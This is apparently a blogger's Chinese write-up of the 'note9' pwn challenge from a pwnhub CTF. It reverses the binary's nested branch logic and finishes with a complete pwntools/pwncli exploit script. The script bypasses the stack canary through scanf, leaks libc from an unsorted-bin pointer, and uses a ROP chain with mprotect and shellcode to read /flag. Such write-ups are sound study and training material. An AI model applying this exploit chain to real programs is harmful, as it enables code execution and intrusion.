pwnhub-12月内部赛pwn-note9-wp

总结

刚开始以为是虚拟机的题,后来发现有点像状态机。函数之间互相嵌套,看着看着差点把自己给绕进去了……不过这道题其实就是披着逆向的栈溢出的题,只不过需要用scanf绕过canary。做完本题后,总结如下:

  • scanf绕过canary,这个算是基础考点,如果是%d,可以用-号绕过,如果是%u,可以用+等特殊字符绕过,这样就不会覆盖待写入地址的原有内容。
  • 高版本的IDA有一个快捷键%,可以进行花括号跳转,这样就不会看错位了;另外IDA 7.0有一个hexlight插件,可以高亮显示括号,可以从这里下载
  • 可根据unsorted binfdbk指针残留的地址猜测libc的版本。附件没有给libc,我是根据这个地址猜出来libc版本是2.31,后来验证了一下,的确是libc-2.31.so BuildID[sha1]=099b9225bcb0d019d9d60884be583eb31bb5f44e
  • snprintf的返回值是待写入的字符串的长度,而不是指定的那个size的值。例如snprintf(dest, 4, "%s", "123456789");的返回值是strlen("123456789"),是9而不是4
  • 做题时眼神要好,刚开始看错位了一个大括号,一度怀疑题目是不是出错了……

题目分析

checksec

image-20211222225152970

函数分析

很多函数中加了很多地址无关代码和数据,做题的时候忽视这些变量即可,和主流程没有任何关系,不过刚开始肯定是要踩坑的,以为这些变量很重要……

main

image-20211222225747924

有些函数我已重命名,接下来会一个一个分析

sub_14D7

image-20211222225532526

初始化函数,只需要看框出来的地方即可。一顿操作后,得到了一个0x500大小的unsorted bin chunk

sub_12CD

这个地方函数识别有问题,可以在这个0x12cd地址,先按下uundefine,再按下c转为汇编代码,再按p提取函数,发现其实就是设置沙盒。检测一波:

image-20211222230005651

sub_19D6

image-20211222230255510

流程为:

  • 读取用户输入的大小,调用malloc
  • 分配堆内存,然后读取用户输入
  • 读取用户输入的16个整数,存储在0x66E0处的数组。这里我直接把数组的元素依次命名为a0, a1, ...a15
sub_2F1D

开始处理的入口函数,也就是从这里开始,函数有点绕了。这里我用python的缩进来分析各个分支。

image-20211222230825905

提取主要流程如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
sub_2F1D:
	a0 < a15:
		a1 < a13:
			a2 > a10:
				a3 != a11:
					a4 < a12 and a5 < a14 and a6 + a7 > a8 + a9:
						read_input(ptr, size)
					show_ptr()
					return
				sub_2907()
			sub_2514()
		sub_20F7()

后续的函数都可以这么分析,这样整理后流程看起来就清晰多了。这里可以发现,在show_ptr后有个return,由于程序使用的是malloc,且read_input函数里面也没有\x00截断,因此此处可以泄露出main_arena+XX的地址。

接下来直接给出其他函数的主要流程。

sub_1ED8(show_ptr)
1
2
3
4
5
sub_1ED8(show_ptr):
	a4 > a12:
		a5 < a14:
			a6 + a7 == a8 + a9:
				puts(ptr)
sub_2907
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
sub_2907:
	a1 < a13:
		a2 > a10:
			read(0, buf1, 0x50) buf1: 0x60C0
			a3 == a11:
				a4 > a12:
					a5 < a14 and a6 + a7 > a8 + a9:
						snprintf(buf2, 0xAuLL, "%s", buf1) buf2: 0x63E0
						return
				sub_2CFB()
			show_ptr()
			return
		sub_2907()
	sub_2514()
sub_2CFB
1
2
3
4
5
6
sub_2CFB:
	read(0, buf1, 0x500)
	res = snprintf(buf2, 0xAuLL, "%s", buf1)
	for i in range(res):
		scanf(%d, &stack_var)
	puts(buf1)
sub_2514
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
sub_2514:
	a1 > a13:
		a2 > a10:
			read(0, buf1, 0x20)
			a3 != a11:
				a5 < a14 and a6 + a7 > a8 + a9:
					for _ in range(stack_var1):
						scanf("%d", &stack_var2)
					return
				sub_2514()
			show_ptr()
		sub_2CFB()
	sub_2907()
sub_2F07
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
sub_20F7:
	a1 > a13:
		a2 > a10:
			read(0, buf1, 0x200)
			a3 != a11:
				a4 > a12:
					a5 < a14 and a6 + a7 > a8 + a9:
						res = snprintf(buf2, 0xAuLL, "%s", buf1)
						for _ in range(res):
							scanf("%d", &stack_var)
						return
				sub_2CFB()
			show_ptr()
		sub_2907()
	sub_2514()

漏洞点

目前发现的漏洞点有:

  • sub_2F1D的那个return分支可以往ptr写内容,同时可以泄露libc地址

    image-20211223001548613

  • sub_2CFB,可以溢出写buf1覆盖ptr

    image-20211223001640142

  • sub_2514for循环的边界是一个未初始化的变量:

    image-20211222234309099

  • sub_2F07,漏洞就在于snprintf,最大的返回值可以是0x200,之后存在栈溢出,因为4 * 0x200 > 0x110

    2021-12-23_001013

利用思路

分析完主要函数的流程后,利用思路很清晰,主要分两步:

  • 利用malloc残留的指针泄露的地址,为了避免出现套娃情况,这里直接使用sub_2F1D函数打印信息后返回的那个分支
  • 利用sub_2F07中的栈溢出进行ROP,我这里使用mprotect+shellcode读取flag

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def assign_val(chunk_size, data, arrays):
    io.sendafter("hhh\n", "1".ljust(4, "\x00"))
    io.sendlineafter("size???\n", str(chunk_size))
    io.sendline(data)
    io.recvline("Lucky Numbers\n")
    for i in arrays:
        io.sendline(str(i))


def get_array(*indexs):
    arr = [0] * 16
    for i in indexs:
        arr[i] = 3
    return arr


def leak_addr():
    arr = get_array(15, 13, 2, 3, 4, 14)
    assign_val(0x500, "a"*8, arr)
    io.sendafter("hhh\n", "2".ljust(4, "\x00"))
    libc_base = recv_libc_addr(io, offset=0x1ebbe0)
    log_libc_base_addr(libc_base)
    libc.address = libc_base


def rop_attack():
    arr = get_array(15, 1, 2, 3, 4, 14, 6)
    assign_val(0x10, "deadbeef", arr)
    io.sendafter("hhh\n", "2".ljust(4, "\x00"))
    io.sendafter("xmki\n", cyclic(0x200, n=8))
    for _ in range(0x42):
        io.sendline(str(0x61616161))
    io.sendline("-")
    io.sendline("-")
    io.sendline(str(0x61616161))
    io.sendline(str(0x61616161))

    rop = ROP(libc)
    target_addr = libc.sym['__free_hook'] & ~0xfff
    rop.mprotect(target_addr, 0x1000, 7)
    rop.read(0, target_addr, 0x600)
    rop.call(target_addr)
    print(rop.dump())
    payload = rop.chain()

    for i in range(0, len(payload), 4):
        num = u32(payload[i:i+4])
        io.sendline(str(num))
    for _ in range(0x200-0x42-4-(len(payload) // 4)):
        io.sendline(str(0x61616161))
    
    sleep(1)

    io.sendline(b"\x90"*0x100 + asm(shellcraft.cat("/flag")))
    flag = io.recvregex("flag{.*}")
    if flag:
        success(f"Get flag: {flag}")
    else:
        error("Cannot get flag!")
    io.interactive()


def exp():
    leak_addr()
    rop_attack()

    if __name__ == "__main__":
    exp()

最后远程打:

image-20211223213824409

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%